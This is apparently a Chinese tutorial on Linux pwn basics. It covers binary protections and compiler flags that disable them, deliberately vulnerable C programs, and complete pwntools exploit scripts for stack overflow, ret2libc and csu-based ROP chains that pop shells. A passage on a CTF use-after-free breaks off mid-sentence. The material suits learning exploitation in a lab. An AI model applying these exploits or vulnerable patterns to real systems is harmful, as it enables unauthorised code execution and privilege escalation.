您好,登錄后才能下訂單哦!
本篇內容介紹了“Linux pwn入門知識點有哪些”的有關知識,在實際案例的操作過程中,不少人都會遇到這樣的困境,接下來就讓小編帶領大家學習一下如何處理這些情況吧!希望大家仔細閱讀,能夠學有所成!
PWN是一個黑客語法的俚語詞,自"own"這個字引申出來的,意為玩家在整個游戲對戰中處在勝利的優勢。
先來學習一些關于linux方面的保護措施,操作系統提供了許多安全機制來嘗試降低或阻止緩沖區溢出攻擊帶來的安全風險,包括DEP、ASLR等。從checksec入手來學習linux的保護措施。checksec可以檢查可執行文件各種安全屬性,包括Arch,RELRO,Stack,NX,PIE等。
pip安裝pwntools后自帶checksec檢查elf文件.
checksec xxxx.so Arch: aarch74-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
brew install binutils
另外筆者操作系統為macOS,一些常用的linux命令如readelf需要另外brew install binutils安裝
wget https://github.com/slimm609/checksec.sh/archive/2.1.0.tar.gz tar xvf 2.1.0.tar.gz ./checksec.sh-2.1.0/checksec --file=xxx
gdb里peda插件里自帶的checksec功能
gdb level4 //加載目標程序 gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial
棧溢出保護是一種緩沖區溢出攻擊緩解手段,當函數存在緩沖區溢出攻擊漏洞時,攻擊者可以覆蓋棧上的返回地址來讓shellcode能夠得到執行。當啟用棧保護后,函數開始執行的時候會先往棧里插入cookie信息,當函數真正返回的時候會驗證cookie信息是否合法,如果不合法就停止程序運行。攻擊者在覆蓋返回地址的時候往往也會將cookie信息給覆蓋掉,導致棧保護檢查失敗而阻止shellcode的執行。在Linux中我們將cookie信息稱為canary/金絲雀。 gcc在4.2版本中添加了-fstack-protector和-fstack-protector-all編譯參數以支持棧保護功能,4.9新增了-fstack-protector-strong編譯參數讓保護的范圍更廣。
開啟命令如下:
gcc -o test test.c // 默認情況下,開啟Canary保護 gcc -fno-stack-protector -o test test.c //禁用棧保護 gcc -fstack-protector -o test test.c //啟用堆棧保護,不過只為局部變量中含有 char 數組的函數插入保護代碼 gcc -fstack-protector-all -o test test.c //啟用堆棧保護,為所有函數插入保護代碼
fority其實非常輕微的檢查,用于檢查是否存在緩沖區溢出的錯誤。適用情形是程序采用大量的字符串或者內存操作函數,如memcpy,memset,strcpy,strncpy,strcat,strncat,sprintf,snprintf,vsprintf,vsnprintf,gets以及寬字符的變體。 FORTIFY_SOURCE設為1,并且將編譯器設置為優化1(gcc -O1),以及出現上述情形,那么程序編譯時就會進行檢查但又不會改變程序功能 開啟命令如下:
gcc -o test test.c // 默認情況下,不會開這個檢查 gcc -D_FORTIFY_SOURCE=1 -o test test.c // 較弱的檢查 gcc -D_FORTIFY_SOURCE=1 僅僅只會在編譯時進行檢查 (特別像某些頭文件 #include <string.h>) _FORTIFY_SOURCE設為1,并且將編譯器設置為優化1(gcc -O1),以及出現上述情形,那么程序編譯時就會進行檢查但又不會改變程序功能 gcc -D_FORTIFY_SOURCE=2 -o test test.c // 較強的檢查 gcc -D_FORTIFY_SOURCE=2 程序執行時也會有檢查 (如果檢查到緩沖區溢出,就終止程序) _FORTIFY_SOURCE設為2,有些檢查功能會加入,但是這可能導致程序崩潰。
看編譯后的二進制匯編我們可以看到gcc生成了一些附加代碼,通過對數組大小的判斷替換strcpy, memcpy, memset等函數名,達到防止緩沖區溢出的作用。
數據執行保護(DEP)(Data Execution Prevention) 是一套軟硬件技術,能夠在內存上執行額外檢查以幫助防止在系統上運行惡意代碼。在 Microsoft Windows XP Service Pack 2及以上版本的Windows中,由硬件和軟件一起強制實施 DEP。 支持 DEP 的 CPU 利用一種叫做NX(No eXecute) 不執行”的技術識別標記出來的區域。如果發現當前執行的代碼沒有明確標記為可執行(例如程序執行后由病毒溢出到代碼執行區的那部分代碼),則禁止其執行,那么利用溢出攻擊的病毒或網絡攻擊就無法利用溢出進行破壞了。如果 CPU 不支持 DEP,Windows 會以軟件方式模擬出 DEP 的部分功能。 NX即No-eXecute(不可執行)的意思,NX(DEP)的基本原理是將數據所在內存頁標識為不可執行,當程序溢出成功轉入shellcode時,程序會嘗試在數據頁面上執行指令,此時CPU就會拋出異常,而不是去執行惡意指令。
開啟命令如下:
gcc -o test test.c // 默認情況下,開啟NX保護 gcc -z execstack -o test test.c // 禁用NX保護 gcc -z noexecstack -o test test.c // 開啟NX保護
在Windows下,類似的概念為DEP(數據執行保護),在最新版的Visual Studio中默認開啟了DEP編譯選項。
ASLR是一種針對緩沖區溢出的安全保護技術,通過對堆、棧、共享庫映射等線性區布局的隨機化,通過增加攻擊者預測目的地址的難度,防止攻擊者直接定位攻擊代碼位置,達到阻止溢出攻擊的目的。如今Linux、FreeBSD、Windows等主流操作系統都已采用了該技術。此技術需要操作系統和軟件相配合。ASLR在linux中使用此技術后,殺死某程序后重新開啟,地址就會會改變
在Linux上 關閉ASLR,切換至root用戶,輸入命令
echo 0 > /proc/sys/kernel/randomize_va_space
開啟ASLR,切換至root用戶,輸入命令
echo 2 > /proc/sys/kernel/randomize_va_space
上面的序號代表意思如下:
0 - 表示關閉進程地址空間隨機化。
1 - 表示將mmap的基址,stack和vdso頁面隨機化。
2 - 表示在1的基礎上增加棧(heap)的隨機化。
可以防范基于Ret2libc方式的針對DEP的攻擊。ASLR和DEP配合使用,能有效阻止攻擊者在堆棧上運行惡意代碼。
PIE最早由RedHat的人實現,他在連接起上增加了-pie選項,這樣使用-fPIE編譯的對象就能通過連接器得到位置無關可執行程序。fPIE和fPIC有些不同。 -fPIC與-fpic都是在編譯時加入的選項,用于生成位置無關的代碼(Position-Independent-Code)。這兩個選項都是可以使代碼在加載到內存時使用相對地址,所有對固定地址的訪問都通過全局偏移表(GOT)來實現。-fPIC和-fpic最大的區別在于是否對GOT的大小有限制。-fPIC對GOT表大小無限制,所以如果在不確定的情況下,使用-fPIC是更好的選擇。 -fPIE與-fpie是等價的。這個選項與-fPIC/-fpic大致相同,不同點在于:-fPIC用于生成動態庫,-fPIE用與生成可執行文件。再說得直白一點:-fPIE用來生成位置無關的可執行代碼。
PIE和ASLR不是一樣的作用,ASLR只能對堆、棧,libc和mmap隨機化,而不能對如代碼段,數據段隨機化,使用PIE+ASLR則可以對代碼段和數據段隨機化。 區別是ASLR是系統功能選項,PIE和PIC是編譯器功能選項。 聯系點在于在開啟ASLR之后,PIE才會生效。
開啟命令如下:
gcc -o test test.c // 默認情況下,不開啟PIE gcc -fpie -pie -o test test.c // 開啟PIE,此時強度為1 gcc -fPIE -pie -o test test.c // 開啟PIE,此時為最高強度2 gcc -fpic -o test test.c // 開啟PIC,此時強度為1,不會開啟PIE gcc -fPIC -o test test.c // 開啟PIC,此時為最高強度2,不會開啟PIE
在很多時候利用漏洞時可以寫的內存區域通常是黑客攻擊的目標,尤其是存儲函數指針的區域。 而動態鏈接的ELF二進制文件使用稱為全局偏移表(GOT)的查找表來動態解析共享庫中的函數,GOT就成為了黑客關注的目標之一,
GCC, GNU linker以及Glibc-dynamic linker一起配合實現了一種叫做relro的技術: read only relocation。大概實現就是由linker指定binary的一塊經過dynamic linker處理過 relocation之后的區域,GOT為只讀.設置符號重定向表為只讀或在程序啟動時就解析并綁定所有動態符號,從而減少對GOT(Global Offset Table)攻擊。如果RELRO為 "Partial RELRO",說明我們對GOT表具有寫權限。
開啟命令如下:
gcc -o test test.c // 默認情況下,是Partial RELRO gcc -z norelro -o test test.c // 關閉,即No RELRO gcc -z lazy -o test test.c // 部分開啟,即Partial RELRO gcc -z now -o test test.c // 全部開啟
開啟FullRELRO后寫利用時就不能復寫got表。
pwntools是一個二進制利用框架,網上關于pwntools的用法教程很多,學好pwntools對于做漏洞的利用和理解漏洞有很好的幫助。可以利用pwntools庫開發基于python的漏洞利用腳本。
pycharm可以實時調試和編寫攻擊腳本,提高了寫利用的效率。
在遠程主機上執行
socat TCP4-LISTEN:10001,fork EXEC:./linux_x64_test1
用pycharm工具開發pwn代碼,遠程連接程序進行pwn測試。 需要設置環境變量 TERM=linux;TERMINFO=/etc/terminfo,并勾選 Emulate terminal in output coonsoole然后pwntools的python腳本使用遠程連接
p = remote('172.16.36.176', 10001)
... raw_input() # for debug ... p.interactive()
當pwntools開發的python腳本暫停時,遠程ida可以附加查看信息
#!/usr/bin/python # -*- coding: UTF-8 -*- import pwn ... # Get PID(s) of target. The returned PID(s) depends on the type of target: m_pid=pwn.proc.pidof(p)[0] print("attach %d" % m_pid) pwn.gdb.attach(m_pid) # 鏈接gdb調試,先在gdb界面按下n下一步返回python控制臺enter繼續(兩窗口同步) print("\n##########sending payload##########\n") p.send(payload) pwn.pause() p.interactive()
1)PEDA - Python Exploit Development Assistance for GDB(https://github.com/longld/peda) 可以很清晰的查看到堆棧信息,寄存器和反匯編信息 git clone https://github.com/longld/peda.git~/panda/peda echo "source ~/panda/peda/peda.py" >> ~/.gdbinit
2)GDB Enhanced Features(https://github.com/hugsy/gef) peda的增強版,因為它支持更多的架構(ARM, MIPS, POWERPC…),和更加強大的模塊,并且和ida聯動。
3)libheap(查看堆信息) pip3 install libheap --verbose
EDB 是一個可視化的跨平臺調試器,跟win上的Ollydbg很像。
voltron & lisa。一個擁有舒服的ui界面,一個簡潔但又擁有實用功能的插件。
voltron配合tmux會產生很好的效果,如下:
通過幾個例子來了解常見的幾種保護手段和熟悉常見的攻擊手法。 實踐平臺 ubuntu 14.16_x64
#include <stdio.h> #include <stdlib.h> #include <unistd.h> void callsystem() { system("/bin/sh"); } void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 512); } int main(int argc, char** argv) { write(STDOUT_FILENO, "Hello, World\n", 13); // /dev/stdin fd/0 // /dev/stdout fd/1 // /dev/stderr fd/2 vulnerable_function(); }
編譯方法:
#!bash gcc -fno-stack-protector linux_x64_test1.c -o linux_x64_test1 -ldl //禁用棧保護
檢測如下:
gdb-peda$ checksec linux_x64_test1 CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial
發現沒有棧保護,沒有CANARY保護
這里用到一個腳本pattern.py來生成隨機數據,來自這里
python2 pattern.py create 150 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
用lldb進行調試
panda@ubuntu:~/Desktop/test$ lldb linux_x64_test1 (lldb) target create "linux_x64_test1" Current executable set to 'linux_x64_test1' (x86_64). (lldb) run Process 117360 launched: '/home/panda/Desktop/test/linux_x64_test1' (x86_64) Hello, World Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9 Process 117360 stopped * thread #1: tid = 117360, 0x00000000004005e7 linux_x64_test1`vulnerable_function + 32, name = 'linux_x64_test1', stop reason = signal SIGSEGV: invalid address (fault address: 0x0) frame #0: 0x00000000004005e7 linux_x64_test1`vulnerable_function + 32 linux_x64_test1`vulnerable_function: -> 0x4005e7 <+32>: retq linux_x64_test1`main: 0x4005e8 <+0>: pushq %rbp 0x4005e9 <+1>: movq %rsp, %rbp 0x4005ec <+4>: subq $0x10, %rsp (lldb) x/xg $rsp 0x7fffffffdd58: 0x3765413665413565 python2 pattern.py offset 0x3765413665413565 hex pattern decoded as: e5Ae6Ae7 136
發現 溢出字符串長度為 136+ret_address
因為代碼中存在輔助函數callsystem,直接獲取地址
panda@ubuntu:~/Desktop/test$ nm linux_x64_test1|grep call 00000000004005b6 T callsystem
pwntools是一個二進制利用框架,可以用python編寫一些利用腳本,方便達到利用漏洞的目的,當然也可以用其他手段。
import pwn # p = pwn.process("./linux_x64_test1") p = remote('172.16.36.174', 10002) callsystem_address = 0x00000000004005b6 payload="A"*136 + pwn.p64(callsystem_address) p.send(payload) p.interactive()
測試利用拿到shell
panda@ubuntu:~/Desktop/test$ python test.py [+] Starting local process './linux_x64_test1': pid 117455 [*] Switching to interactive mode Hello, World $ whoami panda
將二進制程序設置為服務端程序,后續文章不再說明
socat TCP4-LISTEN:10001,fork EXEC:./linux_x64_test1
測試遠程程序
panda@ubuntu:~/Desktop/test$ python test2.py [+] Opening connection to 127.0.0.1 on port 10001: Done [*] Switching to interactive mode Hello, World $ whoami panda
如果這個進程是root
sudo socat TCP4-LISTEN:10001,fork EXEC:./linux_x64_test1
測試遠程程序,提權成功
panda@ubuntu:~/Desktop/test$ python test.py [+] Opening connection to 127.0.0.1 on port 10001: Done [*] Switching to interactive mode Hello, World $ whoami root
開啟ASLR后,libc地址會不斷變化,這里先不討論怎么獲取真實system地址,用了一個輔助函數打印system地址。
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <dlfcn.h> void systemaddr() { void* handle = dlopen("libc.so.6", RTLD_LAZY); printf("%p\n",dlsym(handle,"system")); fflush(stdout); } void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 512); } int main(int argc, char** argv) { systemaddr(); write(1, "Hello, World\n", 13); vulnerable_function(); }
編譯方法:
#!bash gcc -fno-stack-protector linux_x64_test2.c -o linux_x64_test2 -ldl //禁用棧保護
檢測如下:
gdb-peda$ checksec linux_x64_test2 CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial
觀察ASLR,運行兩次,發現每次libc的system函數地址會變化,
panda@ubuntu:~/Desktop/test$ ./linux_x64_test2 0x7f9d7d71a390 Hello, World panda@ubuntu:~/Desktop/test$ ./linux_x64_test2 0x7fa84dc3d390 Hello, World
ROP的全稱為Return-oriented programming(返回導向編程),是一種高級的內存攻擊技術可以用來繞過現代操作系統的各種通用防御(比如內存不可執行DEP和代碼簽名等)
我們希望最后執行system("/bin/sh"),緩沖區溢出后傳入"/bin/sh"的地址和函數system地址。 我們想要的x64的gadget一般如下:
pop rdi // rdi="/bin/sh" ret // call system_addr pop rdi // rdi="/bin/sh" pop rax // rax= system_addr call rax // call system_addr
系統開啟了aslr,只能通過相對偏移來計算gadget,在二進制中搜索,這里用到工具ROPgadget
panda@ubuntu:~/Desktop/test$ ROPgadget --binary linux_x64_test2 --only "pop|sret" Gadgets information ============================================================ Unique gadgets found: 0
獲取二進制的鏈接
panda@ubuntu:~/Desktop/test$ ldd linux_x64_test2 linux-vdso.so.1 => (0x00007ffeae9ec000) libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fdc0531f000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fdc04f55000) /lib64/ld-linux-x86-64.so.2 (0x00007fdc05523000)
在庫中搜索 pop ret
panda@ubuntu:~/Desktop/test$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" |grep rdi 0x0000000000020256 : pop rdi ; pop rbp ; ret 0x0000000000021102 : pop rdi ; ret
決定用 0x0000000000021102
在庫中搜索 /bin/sh 字符串
panda@ubuntu:~/Desktop/test$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --string "/bin/sh" Strings information ============================================================ 0x000000000018cd57 : /bin/sh
這里實現兩種gadgets 實現利用目的,分別是version1和version2
#!/usr/bin/python # -*- coding: UTF-8 -*- import pwn libc = pwn.ELF("./libc.so.6") # p = pwn.process("./linux_x64_test2") p = pwn.remote("127.0.0.1",10001) systema_addr_str = p.recvuntil("\n") systema_addr = int(systema_addr_str,16) # now system addr binsh_static = 0x000000000018cd57 binsh3_static = next(libc.search("/bin/sh")) print("binsh_static = 0x%x" % binsh_static) print("binsh3_static = 0x%x" % binsh3_static) binsh_offset = binsh3_static - libc.symbols["system"] # offset = static1 - static2 print("binsh_offset = 0x%x" % binsh_offset) binsh_addr = binsh_offset + systema_addr print("binsh_addr = 0x%x" % binsh_addr) # version1 # pop_ret_static = 0x0000000000021102 # pop rdi ; ret # pop_ret_offset = pop_ret_static - libc.symbols["system"] # print("pop_ret_offset = 0x%x" % pop_ret_offset) # pop_ret_addr = pop_ret_offset + systema_addr # print("pop_ret_addr = 0x%x" % pop_ret_addr) # payload="A"*136 +pwn.p64(pop_ret_addr)+pwn.p64(binsh_addr)+pwn.p64(systema_addr) # binsh_addr 低 x64 第一個參數是rdi # systema_addr 高 # version2 pop_pop_call_static = 0x0000000000107419 # pop rax ; pop rdi ; call rax pop_pop_call_offset = pop_pop_call_static - libc.symbols["system"] print("pop_pop_call_offset = 0x%x" % pop_pop_call_offset) pop_pop_call_addr = pop_pop_call_offset + systema_addr print("pop_pop_call_addr = 0x%x" % pop_pop_call_addr) payload="A"*136 +pwn.p64(pop_pop_call_addr)+pwn.p64(systema_addr)+pwn.p64(binsh_addr) # systema_addr 低 pop rax # binsh_addr 高 pop rdi print("\n##########sending payload##########\n") p.send(payload) p.interactive()
最后測試如下:
panda@ubuntu:~/Desktop/test$ python test2.py [*] '/lib/x86_64-linux-gnu/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Starting local process './linux_x64_test2': pid 118889 binsh_static = 0x18cd57 binsh3_static = 0x18cd57 binsh_offset = 0x1479c7 binsh_addr = 0x7fc3018ffd57 pop_ret_offset = 0x-2428e pop_ret_addr = 0x7fc301794102 ##########sending payload########## [*] Switching to interactive mode Hello, World $ whoami panda
#include <stdio.h> #include <stdlib.h> #include <unistd.h> void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 512); } int main(int argc, char** argv) { write(STDOUT_FILENO, "Hello, World\n", 13); vulnerable_function(); }
編譯方法:
gcc -fno-stack-protector linux_x64_test3.c -o linux_x64_test3 -ldl //禁用棧保護
檢查防護
gdb-peda$ checksec linux_x64_test3 CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial gdb-peda$ quit
相關概念:堆(heap),棧(stack),BSS段,數據段(data),代碼段(code /text),全局靜態區,文字常量區,程序代碼區。
BSS段:BSS段(bss segment)通常是指用來存放程序中未初始化的全局變量的一塊內存區域。
數據段:數據段(data segment)通常是指用來存放程序中已初始化的全局變量的一塊內存區域。
代碼段:代碼段(code segment/text segment)通常是指用來存放程序執行代碼的一塊內存區域。這部分區域的大小在程序運行前就已經確定,并且內存區域通常屬于只讀, 某些架構也允許代碼段為可寫,即允許修改程序。在代碼段中,也有可能包含一些只讀的常數變量,例如字符串常量等。
堆(heap):堆是用于存放進程運行中被動態分配的內存段,它的大小并不固定,可動態擴張或縮減。當進程調用malloc等函數分配內存時,新分配的內存就被動態添加到堆上(堆被擴張);當利用free等函數釋放內存時,被釋放的內存從堆中被剔除(堆被縮減)。
棧(stack):棧又稱堆棧,用戶存放程序臨時創建的局部變量。在函數被調用時,其參數也會被壓入發起調用的進程棧中,并且待到調用結束后,函數的返回值也會被存放回棧中。由于棧的后進先出特點,所以棧特別方便用來保存/恢復調用現場。
程序的.bss段中。.bss段是用來保存全局變量的值的,地址固定,并且可以讀可寫。
Name | Type | Addr | Off | Size | ES | Flg | Lk | Inf | Al |
---|---|---|---|---|---|---|---|---|---|
名字 | 類型 | 起始地址 | 文件的偏移地址 | 區大小 | 表區的大小 | 區標志 | 相關區索引 | 其他區信息 | 對齊字節數 |
panda@ubuntu:~/Desktop/test$ readelf -S linux_x64_test3 There are 31 section headers, starting at offset 0x1a48: Section Headers: [Nr] Name Type Address Offset Size EntSize Flags Link Info Align [24] .got.plt PROGBITS 0000000000601000 00001000 0000000000000030 0000000000000008 WA 0 0 8 [25] .data PROGBITS 0000000000601030 00001030 0000000000000010 0000000000000000 WA 0 0 8 [26] .bss NOBITS 0000000000601040 00001040 0000000000000008 0000000000000000 WA 0 0 1 Key to Flags: W (write), A (alloc), X (execute), M (merge), S (strings), l (large) I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown) O (extra OS processing required) o (OS specific), p (processor specific)
panda@ubuntu:~/Desktop/test$ objdump -d linux_x64_test3 00000000004005c0 <__libc_csu_init>: 4005c0: 41 57 push %r15 4005c2: 41 56 push %r14 4005c4: 41 89 ff mov %edi,%r15d 4005c7: 41 55 push %r13 4005c9: 41 54 push %r12 4005cb: 4c 8d 25 3e 08 20 00 lea 0x20083e(%rip),%r12 # 600e10 <__frame_dummy_init_array_entry> 4005d2: 55 push %rbp 4005d3: 48 8d 2d 3e 08 20 00 lea 0x20083e(%rip),%rbp # 600e18 <__init_array_end> 4005da: 53 push %rbx 4005db: 49 89 f6 mov %rsi,%r14 4005de: 49 89 d5 mov %rdx,%r13 4005e1: 4c 29 e5 sub %r12,%rbp 4005e4: 48 83 ec 08 sub $0x8,%rsp 4005e8: 48 c1 fd 03 sar $0x3,%rbp 4005ec: e8 0f fe ff ff callq 400400 <_init> 4005f1: 48 85 ed test %rbp,%rbp 4005f4: 74 20 je 400616 <__libc_csu_init+0x56> 4005f6: 31 db xor %ebx,%ebx 4005f8: 0f 1f 84 00 00 00 00 nopl 0x0(%rax,%rax,1) 4005ff: 00 400600: 4c 89 ea mov %r13,%rdx 400603: 4c 89 f6 mov %r14,%rsi 400606: 44 89 ff mov %r15d,%edi 400609: 41 ff 14 dc callq *(%r12,%rbx,8) 40060d: 48 83 c3 01 add $0x1,%rbx 400611: 48 39 eb cmp %rbp,%rbx 400614: 75 ea jne 400600 <__libc_csu_init+0x40> 400616: 48 83 c4 08 add $0x8,%rsp 40061a: 5b pop %rbx 40061b: 5d pop %rbp 40061c: 41 5c pop %r12 40061e: 41 5d pop %r13 400620: 41 5e pop %r14 400622: 41 5f pop %r15 400624: c3 retq 400625: 90 nop 400626: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1) 40062d: 00 00 00
程序自己的 __libc_csu_init 函數,沒開PIE.
疑問:
這里可以直接write出got_system嗎? 既然都得到got_write這個是靜態地址,還能去調用,難道got表函數隨便調用不變? got_system 存儲了實際的 libc-2.23.so!write 地址,所以去執行 got_system 然后打印出實際地址
為什么不傳遞 "/bin/sh"的字符串地址到最后調用的system("/bin/sh"),而是將"/bin/sh"寫入 bss段 因為這里rdi=r15d=param1 r15d 32-bit 所以不能傳遞給rdi 64-bit的 "/bin/sh" 字符串地址,所以必須寫入到可寫bss段,因為程序段就32-bit
00007f76:f3c0bd57|2f 62 69 6e 2f 73 68 00 65 |/bin/sh.e |
// /dev/stdin fd/0 // /dev/stdout fd/1 // /dev/stderr fd/2
總結:
返回到 0x40061a 控制
rbx,rbp,r12,r13,r14,r15
返回到 0x400600 執行
rdx=r13 rsi=r14 rdi=r15d call callq *(%r12,%rbx,8)
使 rbx=0 這樣最后就可以
callq *(r12+rbx*8)
=callq *(r12)
可以構造rop使之能執行任意函數需要泄露真實 libc.so 在內存中的地址才能拿到system_addr,才能getshell,那么返回調用
got_write(rdi=1,rsi=got_write,rdx=8)
,從服務端返回write_addr,通過write_addr減去 - write_static/libc.symbols['write']和system_static/libc.symbols['system'] 的差值得到 system_addr,然后返回到main重新開始,但并沒有結束進程返回調用got_read(rdi=0,bss_addr,16),相當于執行
got_read(rdi=0,bss_addr,8)
,got_read(rdi=0,bss_addr+8,8)
,發送 system_addr,"/bin/sh",然后返回到main重新開始,但并沒有結束進程返回到bss_addr(bss_addr+8) -> system_addr(binsh_addr)
查看got表
panda@ubuntu:~/Desktop/test$ objdump -R linux_x64_test3 linux_x64_test3: file format elf64-x86-64 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 0000000000600ff8 R_X86_64_GLOB_DAT __gmon_start__ 0000000000601018 R_X86_64_JUMP_SLOT write@GLIBC_2.2.5 0000000000601020 R_X86_64_JUMP_SLOT read@GLIBC_2.2.5 0000000000601028 R_X86_64_JUMP_SLOT __libc_start_main@GLIBC_2.2.5
然后利用代碼如下:
#!/usr/bin/python # -*- coding: UTF-8 -*- from pwn import * libc_elf = ELF("/lib/x86_64-linux-gnu/libc.so.6") linux_x64_test3_elf = ELF("./linux_x64_test3") # p = process("./linux_x64_test3") p = remote("127.0.0.1",10001) pop_rbx_rbp_r12_r13_r14_r15_ret = 0x40061a print("[+] pop_rbx_rbp_r12_r13_r14_r15_ret = 0x%x" % pop_rbx_rbp_r12_r13_r14_r15_ret) rdx_rsi_rdi_callr12_ret = 0x400600 print("[+] rdx_rsi_rdi_callr12_ret = 0x%x" % rdx_rsi_rdi_callr12_ret) """ 0000000000601018 R_X86_64_JUMP_SLOT write@GLIBC_2.2.5 0000000000601020 R_X86_64_JUMP_SLOT read@GLIBC_2.2.5 """ got_write =0x0000000000601018 print("[+] got_write = 0x%x" % got_write) got_write2=linux_x64_test3_elf.got["write"] print("[+] got_write2 = 0x%x" % got_write2) got_read = 0x0000000000601020 got_read2=linux_x64_test3_elf.got["read"] """ 0000000000400587 <main>: 400587: 55 push %rbp """ main_static = 0x0000000000400587 # call got_write(rdi=1,rsi=got_write, rdx=8) # rdi=r15d=param1 rsi=r14=param2 rdx=r13=param3 r12=call_address payload1 ="A"*136 + p64(pop_rbx_rbp_r12_r13_r14_r15_ret) # ret address : p64(pop_rbx_rbp_r12_r13_r14_r15_ret) payload1 += p64(0)+ p64(1) # rbx=0 rbp=1 : p64(0)+ p64(1) payload1 += p64(got_write) # call_address : got_write payload1 += p64(8) # param3 : 8 payload1 += p64(got_write) # param2 : got_write payload1 += p64(1) # param1 : 1 payload1 += p64(rdx_rsi_rdi_callr12_ret) # call r12 payload1 += p64(0)*7 # add $0x8,%rsp # 6 pop payload1 += p64(main_static) # return main p.recvuntil('Hello, World\n') print("[+] send payload1 call got_write(rdi=1,rsi=got_write, rdx=8)") p.send(payload1) sleep(1) write_addr = u64(p.recv(8)) print("[+] write_addr = 0x%x" % write_addr) write_static = libc_elf.symbols['write'] system_static = libc_elf.symbols['system'] system_addr = write_addr - (write_static - system_static) print("[+] system_addr = 0x%x" % system_addr) """ [26] .bss NOBITS 0000000000601040 00001040 0000000000000008 0000000000000000 WA 0 0 1 """ bss_addr = 0x0000000000601040 bss_addr2 = linux_x64_test3_elf.bss() print("[+] bss_addr = 0x%x" % bss_addr) print("[+] bss_addr2 = 0x%x" % bss_addr2) # call got_read(rdi=0,rsi=bss_addr, rdx=16) # got_read(rdi=0,rsi=bss_addr, rdx=8) write system # got_read(rdi=0,rsi=bss_addr+8, rdx=8) write /bin/sh # rdi=r15d=param1 rsi=r14=param2 rdx=r13=param3 r12=call_address payload2 = "A"*136 + p64(pop_rbx_rbp_r12_r13_r14_r15_ret) # ret address : p64(pop_rbx_rbp_r12_r13_r14_r15_ret) payload2 += p64(0)+ p64(1) # rbx=0 rbp=1 : p64(0)+ p64(1) payload2 += p64(got_read) # call_address : got_read payload2 += p64(16) # param3 : 16 payload2 += p64(bss_addr) # param2 : bss_addr payload2 += p64(0) # param1 : 0 payload2 += p64(rdx_rsi_rdi_callr12_ret) # call r12 payload2 += p64(0)*7 # add $0x8,%rsp 6 pop payload2 += p64(main_static) p.recvuntil('Hello, World\n') print("[+] send payload2 call got_read(rdi=0,rsi=bss_addr, rdx=16)") # raw_input() p.send(payload2) # raw_input() p.send(p64(system_addr) + "/bin/sh\0") #send /bin/sh\0 """ 00000000:00601040|00007f111b941390|........| 00000000:00601048|0068732f6e69622f|/bin/sh.| """ sleep(1) p.recvuntil('Hello, World\n') # call bss_addr(rdi=bss_addr+8) system_addr(rdi=binsh_addr) # rdi=r15d=param1 rsi=r14=param2 rdx=r13=param3 r12=call_address payload3 ="A"*136 + p64(pop_rbx_rbp_r12_r13_r14_r15_ret) # ret address : p64(pop_rbx_rbp_r12_r13_r14_r15_ret) payload3 += p64(0)+ p64(1) # rbx=0 rbp=1 : p64(0)+ p64(1) payload3 += p64(bss_addr) # call_address : bss_addr payload3 += p64(0) # param3 : 0 payload3 += p64(0) # param2 : 0 payload3 += p64(bss_addr+8) # param1 : bss_addr+8 payload3 += p64(rdx_rsi_rdi_callr12_ret) # call r12 payload3 += p64(0)*7 # add $0x8,%rsp 6 pop payload3 += p64(main_static) print("[+] send payload3 call system_addr(rdi=binsh_addr)") p.send(payload3) p.interactive()
用 2016HCTF_fheap作為學習目標,該題存在格式化字符漏洞和UAF漏洞。 格式化字符串函數可以接受可變數量的參數,并將第一個參數作為格式化字符串,根據其來解析之后的參數。格式化字符漏洞是控制第一個參數可能導致任意地址讀寫。 釋放后使用(Use-After-Free)漏洞是內存塊被釋放后,其對應的指針沒有被設置為 NULL,再次申請內存塊特殊改寫內存導致任意地址讀或劫持控制流。
checksec查詢發現全開了
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
程序很簡單就3個操作,create,delete,quit
在delete操作上發現調用free指針函數釋放結構后沒有置結構指針為NULL,這樣就能實現UAF, 如下圖
create功能會先申請0x20字節的內存堆塊存儲結構,如果輸入的字符串長度大于0xf,則另外申請指定長度的空間存儲數據,否則存儲在之前申請的0x20字節的前16字節處,在最后,會將相關free函數的地址存儲在堆存儲結構的后八字節處
在create時全局結構指向我們申請的內存
這樣就可以惡意構造結構數據,利用uaf覆蓋舊數據結果的函數指針,打印出函數地址,泄露出二進制base基址,主要邏輯如下:
create(4 創建old_chunk0 但是程序占位 old_chunk0_size=0x30 申請0x20 create(4 創建old_chunk1 但是程序占位 old_chunk1_size=0x30 申請0x20 釋放chunk1 釋放chunk0 create(0x20 創建 chunk0 占位 old_chunk0,占位 old_chunk1 創建 chunk1 覆蓋 old_chunk1->data->free 為 puts
此時執行delete操作,也就執行了
